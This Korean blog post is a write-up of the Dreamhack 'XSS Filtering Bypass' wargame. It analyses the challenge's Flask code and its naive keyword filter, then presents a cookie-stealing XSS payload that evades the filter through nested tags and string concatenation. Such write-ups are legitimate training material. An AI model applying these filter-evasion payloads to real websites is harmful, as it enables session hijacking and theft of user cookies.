Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 |
Tags
- 웹해킹
- System
- 소프트웨어
- WarGame
- dreamhack
- 리버싱
- reversing
- 시스템
- 네트워크
- 드림핵
- XSS
- ftz
- 네트워크보안
- 시스템해킹
- 순서도
- webhacking
- 알고리즘
- 소프트웨어보안
- 해킹
- 웹
- Web
- 모의해킹
- bee-box
- Webhaking
- hacking
- TCP
- CodeEngn
- network
- 비박스
- 워게임
Archives
- Today
- Total
Without a Break
[Dreamhack] XSS Filtering Bypass 본문
[코드 분석]
xss_filter(text)
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
- xss 공격을 막기 위한 필터링
- script, on, javascript: 를 필터링
app.route("/vuln")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
- /vuln 페이지에 접속했을 때의 동작
- param의 값을 xss_filter를 통해 필터링하여 저장 후 리턴한다.
=> xss 공격 막기 위함
app.route("/memo")
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
- 사용자가 입력한 memo 값을 memo.html에 출력함
app.route("/flag")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
- GET method : flag.html을 출력
- POST method : 사용자가 입력한 값을 param에 저장 후 check_xss 함수를 통해 xss 공격 여부를 체크함
=> xss 공격이 감지된다면 "wrong??", 감지되지 않는다면 "good" 팝업창이 뜸
문제 페이지의 모습이다. vuln, memo, flag 페이지가 있는 것을 볼 수 있다.
memo 페이지의 모습
flag 페이지로 가면 param 값을 입력할 수 있다.
우리는 여기서 flag를 출력하도록 해야 하므로, memo 페이지에 document.cookie의 값이 뜨도록 해야 한다.
그러기 위해서 입력해야 하는 것은
<script>location.href="/memo?memo="+document.cookie</script>
이 코드이다.
하지만 xss_filter에서 script, on, javascript: 를 필터링하고 있으므로
<scrscriptipt>document['locatio'+'n'].href="/memo?memo="+document.cookie;</scrscriptipt>
위와 같이 필터링을 우회해준다.
- scr
scriptipt -> script - 'locatio' + 'n' -> location
param에 입력 후 memo 페이지로 가면 플래그를 확인할 수 있다.
'Web > Wargame' 카테고리의 다른 글
[Dreamhack] ex-reg-ex (0) | 2023.08.27 |
---|---|
[Dreamhack] Flying Chars (0) | 2023.08.26 |
[Dreamhack] sql injection bypass WAF (0) | 2022.11.24 |
[Dreamhack] error based sql injection (0) | 2022.11.22 |
[Dreamhack] blind sql injection advanced (0) | 2022.11.17 |